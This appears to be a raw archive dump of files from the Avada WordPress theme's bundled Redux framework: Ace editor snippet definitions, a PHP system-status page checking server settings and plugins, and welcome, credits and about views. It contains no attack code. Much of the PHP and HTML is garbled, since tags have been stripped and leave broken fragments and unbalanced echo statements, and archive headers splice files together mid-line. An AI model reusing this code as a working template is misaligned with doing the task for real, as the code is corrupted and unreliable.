${1};\nsnippet fl:l\n float: left;\nsnippet fl:n\n float: none;\nsnippet fl:r\n float: right;\nsnippet f+\n font: ${1:1em} ${2:Arial},${3:sans-serif};\nsnippet fef\n font-effect: ${1};\nsnippet fef:eb\n font-effect: emboss;\nsnippet fef:eg\n font-effect: engrave;\nsnippet fef:n\n font-effect: none;\nsnippet fef:o\n font-effect: outline;\nsnippet femp\n font-emphasize-position: ${1};\nsnippet femp:a\n font-emphasize-position: after;\nsnippet femp:b\n font-emphasize-position: before;\nsnippet fems\n font-emphasize-style: ${1};\nsnippet fems:ac\n font-emphasize-style: accent;\nsnippet fems:c\n font-emphasize-style: circle;\nsnippet fems:ds\n font-emphasize-style: disc;\nsnippet fems:dt\n font-emphasize-style: dot;\nsnippet fems:n\n font-emphasize-style: none;\nsnippet fem\n font-emphasize: ${1};\nsnippet ff\n font-family: ${1};\nsnippet ff:c\n font-family: ${1:'Monotype Corsiva','Comic Sans MS'},cursive;\nsnippet ff:f\n font-family: ${1:Capitals,Impact},fantasy;\nsnippet ff:m\n font-family: ${1:Monaco,'Courier New'},monospace;\nsnippet ff:ss\n font-family: ${1:Helvetica,Arial},sans-serif;\nsnippet ff:s\n font-family: ${1:Georgia,'Times New Roman'},serif;\nsnippet fza\n font-size-adjust: ${1};\nsnippet fza:n\n font-size-adjust: none;\nsnippet fz\n font-size: ${1};\nsnippet fsm\n font-smooth: ${1};\nsnippet fsm:aw\n font-smooth: always;\nsnippet fsm:a\n font-smooth: auto;\nsnippet fsm:n\n font-smooth: never;\nsnippet fst\n font-stretch: ${1};\nsnippet fst:c\n font-stretch: condensed;\nsnippet fst:e\n font-stretch: expanded;\nsnippet fst:ec\n font-stretch: extra-condensed;\nsnippet fst:ee\n font-stretch: extra-expanded;\nsnippet fst:n\n font-stretch: normal;\nsnippet fst:sc\n font-stretch: semi-condensed;\nsnippet fst:se\n font-stretch: semi-expanded;\nsnippet fst:uc\n font-stretch: ultra-condensed;\nsnippet fst:ue\n font-stretch: ultra-expanded;\nsnippet fs\n font-style: ${1};\nsnippet fs:i\n font-style: italic;\nsnippet fs:n\n font-style: normal;\nsnippet fs:o\n font-style: oblique;\nsnippet fv\n font-variant: ${1};\nsnippet fv:n\n font-variant: normal;\nsnippet fv:sc\n font-variant: small-caps;\nsnippet fw\n font-weight: ${1};\nsnippet fw:b\n font-weight: bold;\nsnippet fw:br\n font-weight: bolder;\nsnippet fw:lr\n font-weight: lighter;\nsnippet fw:n\n font-weight: normal;\nsnippet f\n font: ${1};\nsnippet h\n height: ${1};\nsnippet h:a\n height: auto;\nsnippet l\n left: ${1};\nsnippet l:a\n left: auto;\nsnippet lts\n letter-spacing: ${1};\nsnippet lh\n line-height: ${1};\nsnippet lisi\n list-style-image: url(${1});\nsnippet lisi:n\n list-style-image: none;\nsnippet lisp\n list-style-position: ${1};\nsnippet lisp:i\n list-style-position: inside;\nsnippet lisp:o\n list-style-position: outside;\nsnippet list\n list-style-type: ${1};\nsnippet list:c\n list-style-type: circle;\nsnippet list:dclz\n list-style-type: decimal-leading-zero;\nsnippet list:dc\n list-style-type: decimal;\nsnippet list:d\n list-style-type: disc;\nsnippet list:lr\n list-style-type: lower-roman;\nsnippet list:n\n list-style-type: none;\nsnippet list:s\n list-style-type: square;\nsnippet list:ur\n list-style-type: upper-roman;\nsnippet lis\n list-style: ${1};\nsnippet lis:n\n list-style: none;\nsnippet mb\n margin-bottom: ${1};\nsnippet mb:a\n margin-bottom: auto;\nsnippet ml\n margin-left: ${1};\nsnippet ml:a\n margin-left: auto;\nsnippet mr\n margin-right: ${1};\nsnippet mr:a\n margin-right: auto;\nsnippet mt\n margin-top: ${1};\nsnippet mt:a\n margin-top: auto;\nsnippet m\n margin: ${1};\nsnippet m:4\n margin: ${1:0} ${2:0} ${3:0} ${4:0};\nsnippet m:3\n margin: ${1:0} ${2:0} ${3:0};\nsnippet m:2\n margin: ${1:0} ${2:0};\nsnippet m:0\n margin: 0;\nsnippet m:a\n margin: auto;\nsnippet mah\n max-height: ${1};\nsnippet mah:n\n max-height: none;\nsnippet maw\n max-width: ${1};\nsnippet maw:n\n max-width: none;\nsnippet mih\n min-height: ${1};\nsnippet miw\n min-width: ${1};\nsnippet op\n opacity: ${1};\nsnippet op:ie\n filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=${1:100});\nsnippet op:ms\n -ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=${1:100})';\nsnippet orp\n orphans: ${1};\nsnippet o+\n outline: ${1:1px} ${2:solid} #${3:000};\nsnippet oc\n outline-color: ${1:#000};\nsnippet oc:i\n outline-color: invert;\nsnippet oo\n outline-offset: ${1};\nsnippet os\n outline-style: ${1};\nsnippet ow\n outline-width: ${1};\nsnippet o\n outline: ${1};\nsnippet o:n\n outline: none;\nsnippet ovs\n overflow-style: ${1};\nsnippet ovs:a\n overflow-style: auto;\nsnippet ovs:mq\n overflow-style: marquee;\nsnippet ovs:mv\n overflow-style: move;\nsnippet ovs:p\n overflow-style: panner;\nsnippet ovs:s\n overflow-style: scrollbar;\nsnippet ovx\n overflow-x: ${1};\nsnippet ovx:a\n overflow-x: auto;\nsnippet ovx:h\n overflow-x: hidden;\nsnippet ovx:s\n overflow-x: scroll;\nsnippet ovx:v\n overflow-x: visible;\nsnippet ovy\n overflow-y: ${1};\nsnippet ovy:a\n overflow-y: auto;\nsnippet ovy:h\n overflow-y: hidden;\nsnippet ovy:s\n overflow-y: scroll;\nsnippet ovy:v\n overflow-y: visible;\nsnippet ov\n overflow: ${1};\nsnippet ov:a\n overflow: auto;\nsnippet ov:h\n overflow: hidden;\nsnippet ov:s\n overflow: scroll;\nsnippet ov:v\n overflow: visible;\nsnippet pb\n padding-bottom: ${1};\nsnippet pl\n padding-left: ${1};\nsnippet pr\n padding-right: ${1};\nsnippet pt\n padding-top: ${1};\nsnippet p\n padding: ${1};\nsnippet p:4\n padding: ${1:0} ${2:0} ${3:0} ${4:0};\nsnippet p:3\n padding: ${1:0} ${2:0} ${3:0};\nsnippet p:2\n padding: ${1:0} ${2:0};\nsnippet p:0\n padding: 0;\nsnippet pgba\n page-break-after: ${1};\nsnippet pgba:aw\n page-break-after: always;\nsnippet pgba:a\n page-break-after: auto;\nsnippet pgba:l\n page-break-after: left;\nsnippet pgba:r\n page-break-after: right;\nsnippet pgbb\n page-break-before: ${1};\nsnippet pgbb:aw\n page-break-before: always;\nsnippet pgbb:a\n page-break-before: auto;\nsnippet pgbb:l\n page-break-before: left;\nsnippet pgbb:r\n page-break-before: right;\nsnippet pgbi\n page-break-inside: ${1};\nsnippet pgbi:a\n page-break-inside: auto;\nsnippet pgbi:av\n page-break-inside: avoid;\nsnippet pos\n position: ${1};\nsnippet pos:a\n position: absolute;\nsnippet pos:f\n position: fixed;\nsnippet pos:r\n position: relative;\nsnippet pos:s\n position: static;\nsnippet q\n quotes: ${1};\nsnippet q:en\n quotes: '\\201C' '\\201D' '\\2018' '\\2019';\nsnippet q:n\n quotes: none;\nsnippet q:ru\n quotes: '\\00AB' '\\00BB' '\\201E' '\\201C';\nsnippet rz\n resize: ${1};\nsnippet rz:b\n resize: both;\nsnippet rz:h\n resize: horizontal;\nsnippet rz:n\n resize: none;\nsnippet rz:v\n resize: vertical;\nsnippet r\n right: ${1};\nsnippet r:a\n right: auto;\nsnippet tbl\n table-layout: ${1};\nsnippet tbl:a\n table-layout: auto;\nsnippet tbl:f\n table-layout: fixed;\nsnippet tal\n text-align-last: ${1};\nsnippet tal:a\n text-align-last: auto;\nsnippet tal:c\n text-align-last: center;\nsnippet tal:l\n text-align-last: left;\nsnippet tal:r\n text-align-last: right;\nsnippet ta\n text-align: ${1};\nsnippet ta:c\n text-align: center;\nsnippet ta:l\n text-align: left;\nsnippet ta:r\n text-align: right;\nsnippet td\n text-decoration: ${1};\nsnippet td:l\n text-decoration: line-through;\nsnippet td:n\n text-decoration: none;\nsnippet td:o\n text-decoration: overline;\nsnippet td:u\n text-decoration: underline;\nsnippet te\n text-emphasis: ${1};\nsnippet te:ac\n text-emphasis: accent;\nsnippet te:a\n text-emphasis: after;\nsnippet te:b\n text-emphasis: before;\nsnippet te:c\n text-emphasis: circle;\nsnippet te:ds\n text-emphasis: disc;\nsnippet te:dt\n text-emphasis: dot;\nsnippet te:n\n text-emphasis: none;\nsnippet th\n text-height: ${1};\nsnippet th:a\n text-height: auto;\nsnippet th:f\n text-height: font-size;\nsnippet th:m\n text-height: max-size;\nsnippet th:t\n text-height: text-size;\nsnippet ti\n text-indent: ${1};\nsnippet ti:-\n text-indent: -9999px;\nsnippet tj\n text-justify: ${1};\nsnippet tj:a\n text-justify: auto;\nsnippet tj:d\n text-justify: distribute;\nsnippet tj:ic\n text-justify: inter-cluster;\nsnippet tj:ii\n text-justify: inter-ideograph;\nsnippet tj:iw\n text-justify: inter-word;\nsnippet tj:k\n text-justify: kashida;\nsnippet tj:t\n text-justify: tibetan;\nsnippet to+\n text-outline: ${1:0} ${2:0} #${3:000};\nsnippet to\n text-outline: ${1};\nsnippet to:n\n text-outline: none;\nsnippet tr\n text-replace: ${1};\nsnippet tr:n\n text-replace: none;\nsnippet tsh+\n text-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\nsnippet tsh\n text-shadow: ${1};\nsnippet tsh:n\n text-shadow: none;\nsnippet tt\n text-transform: ${1};\nsnippet tt:c\n text-transform: capitalize;\nsnippet tt:l\n text-transform: lowercase;\nsnippet tt:n\n text-transform: none;\nsnippet tt:u\n text-transform: uppercase;\nsnippet tw\n text-wrap: ${1};\nsnippet tw:no\n text-wrap: none;\nsnippet tw:n\n text-wrap: normal;\nsnippet tw:s\n text-wrap: suppress;\nsnippet tw:u\n text-wrap: unrestricted;\nsnippet t\n top: ${1};\nsnippet t:a\n top: auto;\nsnippet va\n vertical-align: ${1};\nsnippet va:bl\n vertical-align: baseline;\nsnippet va:b\n vertical-align: bottom;\nsnippet va:m\n vertical-align: middle;\nsnippet va:sub\n vertical-align: sub;\nsnippet va:sup\n vertical-align: super;\nsnippet va:tb\n vertical-align: text-bottom;\nsnippet va:tt\n vertical-align: text-top;\nsnippet va:t\n vertical-align: top;\nsnippet v\n visibility: ${1};\nsnippet v:c\n visibility: collapse;\nsnippet v:h\n visibility: hidden;\nsnippet v:v\n visibility: visible;\nsnippet whsc\n white-space-collapse: ${1};\nsnippet whsc:ba\n white-space-collapse: break-all;\nsnippet whsc:bs\n white-space-collapse: break-strict;\nsnippet whsc:k\n white-space-collapse: keep-all;\nsnippet whsc:l\n white-space-collapse: loose;\nsnippet whsc:n\n white-space-collapse: normal;\nsnippet whs\n white-space: ${1};\nsnippet whs:n\n white-space: normal;\nsnippet whs:nw\n white-space: nowrap;\nsnippet whs:pl\n white-space: pre-line;\nsnippet whs:pw\n white-space: pre-wrap;\nsnippet whs:p\n white-space: pre;\nsnippet wid\n widows: ${1};\nsnippet w\n width: ${1};\nsnippet w:a\n width: auto;\nsnippet wob\n word-break: ${1};\nsnippet wob:ba\n word-break: break-all;\nsnippet wob:bs\n word-break: break-strict;\nsnippet wob:k\n word-break: keep-all;\nsnippet wob:l\n word-break: loose;\nsnippet wob:n\n word-break: normal;\nsnippet wos\n word-spacing: ${1};\nsnippet wow\n word-wrap: ${1};\nsnippet wow:no\n word-wrap: none;\nsnippet wow:n\n word-wrap: normal;\nsnippet wow:s\n word-wrap: suppress;\nsnippet wow:u\n word-wrap: unrestricted;\nsnippet z\n z-index: ${1};\nsnippet z:a\n z-index: auto;\nsnippet zoo\n zoom: 1;\n",t.scope="css"})lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/plain_text.js000064400000000217152342437700032153 0ustar00Avada/includesace.define("ace/snippets/plain_text",["require","exports","module"],function(e,t,n){"use strict";t.snippetText=undefined,t.scope="plain_text"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/less.js000064400000000203152342437700030745 0ustar00Avadaace.define("ace/snippets/less",["require","exports","module"],function(e,t,n){"use strict";t.snippetText=undefined,t.scope="less"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/mysql.js000064400000000205152342437700031146 0ustar00Avadaace.define("ace/snippets/mysql",["require","exports","module"],function(e,t,n){"use strict";t.snippetText=undefined,t.scope="mysql"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/scss.js000064400000000203152342437700030752 0ustar00Avadaace.define("ace/snippets/scss",["require","exports","module"],function(e,t,n){"use strict";t.snippetText=undefined,t.scope="scss"})lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/javascript.js000064400000007072152342437700032160 0ustar00Avada/includesace.define("ace/snippets/javascript",["require","exports","module"],function(e,t,n){"use strict";t.snippetText='# Prototype\nsnippet proto\n ${1:class_name}.prototype.${2:method_name} = function(${3:first_argument}) {\n ${4:// body...}\n };\n# Function\nsnippet fun\n function ${1?:function_name}(${2:argument}) {\n ${3:// body...}\n }\n# Anonymous Function\nregex /((=)\\s*|(:)\\s*|(\\()|\\b)/f/(\\))?/\nsnippet f\n function${M1?: ${1:functionName}}($2) {\n ${0:$TM_SELECTED_TEXT}\n }${M2?;}${M3?,}${M4?)}\n# Immediate function\ntrigger \\(?f\\(\nendTrigger \\)?\nsnippet f(\n (function(${1}) {\n ${0:${TM_SELECTED_TEXT:/* code */}}\n }(${1}));\n# if\nsnippet if\n if (${1:true}) {\n ${0}\n }\n# if ... else\nsnippet ife\n if (${1:true}) {\n ${2}\n } else {\n ${0}\n }\n# tertiary conditional\nsnippet ter\n ${1:/* condition */} ? ${2:a} : ${3:b}\n# switch\nsnippet switch\n switch (${1:expression}) {\n case \'${3:case}\':\n ${4:// code}\n break;\n ${5}\n default:\n ${2:// code}\n }\n# case\nsnippet case\n case \'${1:case}\':\n ${2:// code}\n break;\n ${3}\n\n# while (...) {...}\nsnippet wh\n while (${1:/* condition */}) {\n ${0:/* code */}\n }\n# try\nsnippet try\n try {\n ${0:/* code */}\n } catch (e) {}\n# do...while\nsnippet do\n do {\n ${2:/* code */}\n } while (${1:/* condition */});\n# Object Method\nsnippet :f\nregex /([,{[])|^\\s*/:f/\n ${1:method_name}: function(${2:attribute}) {\n ${0}\n }${3:,}\n# setTimeout function\nsnippet setTimeout\nregex /\\b/st|timeout|setTimeo?u?t?/\n setTimeout(function() {${3:$TM_SELECTED_TEXT}}, ${1:10});\n# Get Elements\nsnippet gett\n getElementsBy${1:TagName}(\'${2}\')${3}\n# Get Element\nsnippet get\n getElementBy${1:Id}(\'${2}\')${3}\n# console.log (Firebug)\nsnippet cl\n console.log(${1});\n# return\nsnippet ret\n return ${1:result}\n# for (property in object ) { ... }\nsnippet fori\n for (var ${1:prop} in ${2:Things}) {\n ${0:$2[$1]}\n }\n# hasOwnProperty\nsnippet has\n hasOwnProperty(${1})\n# docstring\nsnippet /**\nsnippet @par\nregex /^\\s*\\*\\s*/@(para?m?)?/\n @param {${1:type}} ${2:name} ${3:description}\nsnippet @ret\n @return {${1:type}} ${2:description}\n# JSON.parse\nsnippet jsonp\n JSON.parse(${1:jstr});\n# JSON.stringify\nsnippet jsons\n JSON.stringify(${1:object});\n# self-defining function\nsnippet sdf\n var ${1:function_name} = function(${2:argument}) {\n ${3:// initial code ...}\n\n $1 = function($2) {\n ${4:// main code}\n };\n }\n# singleton\nsnippet sing\n function ${1:Singleton} (${2:argument}) {\n var instance;\n $1 = function $1($2) {\n return instance;\n };\n $1.prototype = this;\n instance = new $1();\n instance.constructor = $1;\n\n ${3:// code ...}\n\n return instance;\n }\n# class\nsnippet class\nregex /^\\s*/clas{0,2}/\n var ${1:class} = function(${20}) {\n $40$0\n };\n \n (function() {\n ${60:this.prop = ""}\n }).call(${1:class}.prototype);\n \n exports.${1:class} = ${1:class};\n# \nsnippet for-\n for (var ${1:i} = ${2:Things}.length; ${1:i}--; ) {\n ${0:${2:Things}[${1:i}];}\n }\n# for (...) {...}\nsnippet for\n for (var ${1:i} = 0; $1 < ${2:Things}.length; $1++) {\n ${3:$2[$1]}$0\n }\n# for (...) {...} (Improved Native For-Loop)\nsnippet forr\n for (var ${1:i} = ${2:Things}.length - 1; $1 >= 0; $1--) {\n ${3:$2[$1]}$0\n }\n\n\n#modules\nsnippet def\n ace.define(function(require, exports, module) {\n "use strict";\n var ${1/.*\\///} = require("${1}");\n \n $TM_SELECTED_TEXT\n });\nsnippet req\nguard ^\\s*\n var ${1/.*\\///} = require("${1}");\n $0\nsnippet requ\nguard ^\\s*\n var ${1/.*\\/(.)/\\u$1/} = require("${1}").${1/.*\\/(.)/\\u$1/};\n $0\n',t.scope="javascript"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/text.js000064400000000203152342437700030763 0ustar00Avadaace.define("ace/snippets/text",["require","exports","module"],function(e,t,n){"use strict";t.snippetText=undefined,t.scope="text"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/xml.js000064400000000201152342437700030575 0ustar00Avadaace.define("ace/snippets/xml",["require","exports","module"],function(e,t,n){"use strict";t.snippetText=undefined,t.scope="xml"})includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/snippets/html.js000064400000043537152342437700030764 0ustar00Avadaace.define("ace/snippets/html",["require","exports","module"],function(e,t,n){"use strict";t.snippetText='# Some useful Unicode entities\n# Non-Breaking Space\nsnippet nbs\n  \n# \u2190\nsnippet left\n ←\n# \u2192\nsnippet right\n →\n# \u2191\nsnippet up\n ↑\n# \u2193\nsnippet down\n ↓\n# \u21a9\nsnippet return\n ↩\n# \u21e4\nsnippet backtab\n ⇤\n# \u21e5\nsnippet tab\n ⇥\n# \u21e7\nsnippet shift\n ⇧\n# \u2303\nsnippet ctrl\n ⌃\n# \u2305\nsnippet enter\n ⌅\n# \u2318\nsnippet cmd\n ⌘\n# \u2325\nsnippet option\n ⌥\n# \u2326\nsnippet delete\n ⌦\n# \u232b\nsnippet backspace\n ⌫\n# \u238b\nsnippet esc\n ⎋\n# Generic Doctype\nsnippet doctype HTML 4.01 Strict\n \nsnippet doctype HTML 4.01 Transitional\n \nsnippet doctype HTML 5\n \nsnippet doctype XHTML 1.0 Frameset\n \nsnippet doctype XHTML 1.0 Strict\n \nsnippet doctype XHTML 1.0 Transitional\n \nsnippet doctype XHTML 1.1\n \n# HTML Doctype 4.01 Strict\nsnippet docts\n \n# HTML Doctype 4.01 Transitional\nsnippet doct\n \n# HTML Doctype 5\nsnippet doct5\n \n# XHTML Doctype 1.0 Frameset\nsnippet docxf\n \n# XHTML Doctype 1.0 Strict\nsnippet docxs\n \n# XHTML Doctype 1.0 Transitional\nsnippet docxt\n \n# XHTML Doctype 1.1\nsnippet docx\n \n# Attributes\nsnippet attr\n ${1:attribute}="${2:property}"\nsnippet attr+\n ${1:attribute}="${2:property}" attr+${3}\nsnippet .\n class="${1}"${2}\nsnippet #\n id="${1}"${2}\nsnippet alt\n alt="${1}"${2}\nsnippet charset\n charset="${1:utf-8}"${2}\nsnippet data\n data-${1}="${2:$1}"${3}\nsnippet for\n for="${1}"${2}\nsnippet height\n height="${1}"${2}\nsnippet href\n href="${1:#}"${2}\nsnippet lang\n lang="${1:en}"${2}\nsnippet media\n media="${1}"${2}\nsnippet name\n name="${1}"${2}\nsnippet rel\n rel="${1}"${2}\nsnippet scope\n scope="${1:row}"${2}\nsnippet src\n src="${1}"${2}\nsnippet title=\n title="${1}"${2}\nsnippet type\n type="${1}"${2}\nsnippet value\n value="${1}"${2}\nsnippet width\n width="${1}"${2}\n# Elements\nsnippet a\n ${2:$1}\nsnippet a.\n ${3:$1}\nsnippet a#\n ${3:$1}\nsnippet a:ext\n ${2:$1}\nsnippet a:mail\n ${3:email me}\nsnippet abbr\n ${2}\nsnippet address\n
    \n ${1}\n
    \nsnippet area\n ${4}\nsnippet area+\n ${4}\n area+${5}\nsnippet area:c\n ${3}\nsnippet area:d\n ${3}\nsnippet area:p\n ${3}\nsnippet area:r\n ${3}\nsnippet article\n
    \n ${1}\n
    \nsnippet article.\n
    \n ${2}\n
    \nsnippet article#\n
    \n ${2}\n
    \nsnippet aside\n \nsnippet aside.\n \nsnippet aside#\n \nsnippet audio\n
    ${1}
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : uploads directory. This directory must be writable.', 'Avada' ) . '">[?]'; ?> ' . '✔ ' . esc_html($sysinfo['fusionredux_data_dir']) . ' '; } else { printf( '' . '✕ ' . __( 'To allow data saving, make %s writable.', 'Avada' ) . '', esc_html($sysinfo['fusionredux_data_dir']) ); } ?>
    : [?]'; ?> ' . esc_url($sysinfo['wp_content_url']) . ' '; ?>
    : [?]'; ?>
    : [?]'; ?>
    : Permalinks.', 'Avada' ) . '">[?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?> ' . sprintf( __( '%s - We recommend setting memory to at least 40MB. See: Increasing memory allocated to PHP', 'Avada' ), esc_html($sysinfo['wp_mem_limit']['size']), 'http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP' ) . ''; } else { echo '' . esc_html($sysinfo['wp_mem_limit']['size']) . ''; } ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✔' . ''; } else { echo '' . '–' . ''; } ?>
    : [?]'; ?>
    : [?]'; ?> $value ) { echo '' . esc_html(ucfirst( $key )) . ': ' . esc_html($value) . '
    '; } ?>
    [?]'; if ( $sysinfo['fsockopen_curl'] === 'true' ) { $posting['fsockopen_curl']['success'] = true; } else { $posting['fsockopen_curl']['success'] = false; $posting['fsockopen_curl']['note'] = esc_html__( 'Your server does not have fsockopen or cURL enabled - cURL is used to communicate with other servers. Please contact your hosting provider.', 'Avada' ) . ''; } /* // SOAP $posting['soap_client']['name'] = 'SoapClient'; $posting['soap_client']['help'] = '[?]'; if ( $sysinfo['soap_client'] == true ) { $posting['soap_client']['success'] = true; } else { $posting['soap_client']['success'] = false; $posting['soap_client']['note'] = sprintf( __( 'Your server does not have the SOAP Client class enabled - some gateway plugins which use SOAP may not work as expected.', 'fusionredux-framework' ), 'http://php.net/manual/en/class.soapclient.php' ) . ''; } // DOMDocument $posting['dom_document']['name'] = 'DOMDocument'; $posting['dom_document']['help'] = '[?]'; if ( $sysinfo['dom_document'] == true ) { $posting['dom_document']['success'] = true; } else { $posting['dom_document']['success'] = false; $posting['dom_document']['note'] = sprintf( __( 'Your server does not have the DOMDocument class enabled - HTML/Multipart emails, and also some extensions, will not work without DOMDocument.', 'fusionredux-framework' ), 'http://php.net/manual/en/class.domdocument.php' ) . ''; } */ //// GZIP //$posting['gzip']['name'] = 'GZip'; //$posting['gzip']['help'] = '[?]'; // //if ( $sysinfo['gzip'] == true ) { // $posting['gzip']['success'] = true; //} else { // $posting['gzip']['success'] = false; // $posting['gzip']['note'] = sprintf( __( 'Your server does not support the gzopen function - this is required to use the GeoIP database from MaxMind. The API fallback will be used instead for geolocation.', 'fusionredux-framework' ), 'http://php.net/manual/en/zlib.installation.php' ) . ''; //} // WP Remote Post Check $posting['wp_remote_post']['name'] = esc_html__( 'Remote Post', 'Avada' ); $posting['wp_remote_post']['help'] = '[?]'; if ( $sysinfo['wp_remote_post'] === 'true' ) { $posting['wp_remote_post']['success'] = true; } else { $posting['wp_remote_post']['note'] = esc_html__( 'wp_remote_post() failed. Many advanced features may not function. Contact your hosting provider.', 'Avada' ); if ( $sysinfo['wp_remote_post_error'] ) { $posting['wp_remote_post']['note'] .= ' ' . sprintf( __( 'Error: %s', 'Avada' ), fusionredux_clean( $sysinfo['wp_remote_post_error'] ) ); } $posting['wp_remote_post']['success'] = false; } // WP Remote Get Check $posting['wp_remote_get']['name'] = esc_html__( 'Remote Get', 'Avada' ); $posting['wp_remote_get']['help'] = '[?]'; if ( $sysinfo['wp_remote_get'] === 'true' ) { $posting['wp_remote_get']['success'] = true; } else { $posting['wp_remote_get']['note'] = esc_html__( 'wp_remote_get() failed. This is needed to get information from remote servers. Contact your hosting provider.', 'Avada' ); if ( $sysinfo['wp_remote_get_error'] ) { $posting['wp_remote_get']['note'] .= ' ' . sprintf( __( 'Error: %s', 'Avada' ), fusionredux_clean( $sysinfo['wp_remote_get_error'] ) ); } $posting['wp_remote_get']['success'] = false; } $posting = apply_filters( 'fusionredux_debug_posting', $posting ); foreach ( $posting as $post ) { $mark = ! empty( $post['success'] ) ? 'yes' : 'error'; ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✔' . ''; } else { echo '' . '–' . ''; } ?>
    : [?]'; ?>
    : [?]'; ?> ' . esc_html($sysinfo['abspath']) . ''; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✔' . ''; } else { echo '' . '–' . ''; } ?>
    : [?]'; ?> ' . '✔' . ''; } else { echo '' . '–' . ''; } ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✕ ' . sprintf( __( 'Default timezone is %s - it should be UTC', 'Avada' ), esc_html(date_default_timezone_get()) ) . ''; } else { echo '' . '✔' . ''; } ?>
    :
    $plugin_data ) { $version_string = ''; $network_string = ''; if ( ! empty( $plugin_data['Name'] ) ) { // link the plugin name to the plugin url if available $plugin_name = esc_html( $plugin_data['Name'] ); if ( ! empty( $plugin_data['PluginURI'] ) ) { $plugin_name = '' . esc_html($plugin_name) . ''; } ?>
    ()
     
    $data ) { $inst_name = ucwords( str_replace( array( '_', '-' ), ' ', $inst ) ); $args = $data['args']; ?> $found_plugin_files ) { ?>
    opt_name: [?]'; ?>
    global_variable: [?]'; ?>
    dev_mode: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    ajax_save: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    page_slug: [?]'; ?>
    page_permissions: [?]'; ?>
    menu_type: [?]'; ?>
    page_parent: [?]'; ?>
    compiler: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    output: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    output_tag: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    template_path: [?]'; ?> ' . esc_html($args['templates_path']) . ''; ?>
    Templates: [?]'; ?> ', $found_plugin_files ); ?>
    Extensions [?]'; ?> $arr ) { $ver = $arr['version']; echo '' . ucwords( str_replace( array( '_', '-' ), ' ', $name ) ) . ' - ' . esc_html($ver); ?>
    : [?]'; ?>
    : [?]'; ?> Version, '!=' ) ) { echo ' – ' . esc_html($theme_version_data['version']) . ' ' . esc_html__( 'is available', 'Avada' ) . ''; } ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✔' . '' : '✕
    ' . sprintf( __( 'If you\'re modifying FusionRedux Framework or a parent theme you didn\'t build personally, we recommend using a child theme. See: How to create a child theme', 'Avada' ), 'http://codex.wordpress.org/Child_Themes' ) . ''; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/extensions.php000064400000004576152342437700025411 0ustar00 social profiles => js button => multi media => css layout => color schemes => adjust-alt custom fonts => fontsize code mirror => view-mode live search => search support faq's => question date time picker => premium support => metaboxes => widget areas => shortcodes => icon select => gallery tracking => * */ $iconMap = array( 'repeater' => 'tags', 'social-profiles' => 'group', 'js-button' => 'hand-down', 'multi-media' => 'picture', 'css-layout' => 'fullscreen', 'color-schemes' => 'adjust-alt', 'custom-fonts' => 'fontsize', //'codemirror' => 'view-mode', 'live-search' => 'search', 'support-faqs' => 'question', 'date-time' => 'calendar', 'premium-support' => 'fire', 'metaboxes' => 'magic', 'widget-areas' => 'inbox-box', 'shortcodes' => 'shortcode', 'icon-select' => 'gallery', 'accordion' => 'lines' ); $colors = array( '8CC63F', '8CC63F', '0A803B', '25AAE1', '0F75BC', 'F7941E', 'F1592A', 'ED217C', 'BF1E2D', '8569CF', '0D9FD8', '8AD749', 'EECE00', 'F8981F', 'F80E27', 'F640AE' ); shuffle( $colors ); echo ''; $color = 1; ?>

    display_version) ); ?>
    actions(); ?> tabs(); ?>

    Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/credits.php000064400000001732152342437700024636 0ustar00

    actions(); ?> tabs(); ?>

    Contribute to FusionRedux.', 'Avada' ), 'https://github.com/fusionreduxframework/fusionredux-framework/blob/master/CONTRIBUTING.md' );?>

    contributors()); ?>
    Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/changelog.php000064400000001343152342437700025126 0ustar00

    actions(); ?> tabs(); ?>
    parse_readme()); ?>
    Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/about.php000064400000006202152342437700024310 0ustar00

    display_version ); ?>

    display_version ); ?>
    actions(); ?> tabs(); ?>

    Ajax Saving & More Speed!

    This version the fastest FusionRedux ever released. We've integrated ajax_saving as well as many other speed improvements to make FusionRedux even surpass the load time of SMOF even with large panels.

    The New FusionRedux API

    We've gone back to the drawing boards and made FusionRedux the simplest framework to use. Introducing the FusionRedux API. Easily add fields, extensions, templates, and more without every having to define a class! Learn More

    Security Improvments

    Thanks to the help of James Golovich (Pritect), we have patched varying security flaws in FusionRedux. This is the most secure version of FusionRedux yet!

    Panel Templates

    Now developers can easily customize the FusionRedux panel by declaring a templates location path. We've also made use of template versioning so if we change anything, you will know.
    Learn More

    Full Width for ANY Field

    Any field can now be set to full width! Just set the full_width argument and your field will expand to the full width of your panel or metabox.

    Elusive Icons Update

    FusionRedux is now taking over development of Elusive Icons. As a result, we've refreshed our copy of Elusive to the newest version.

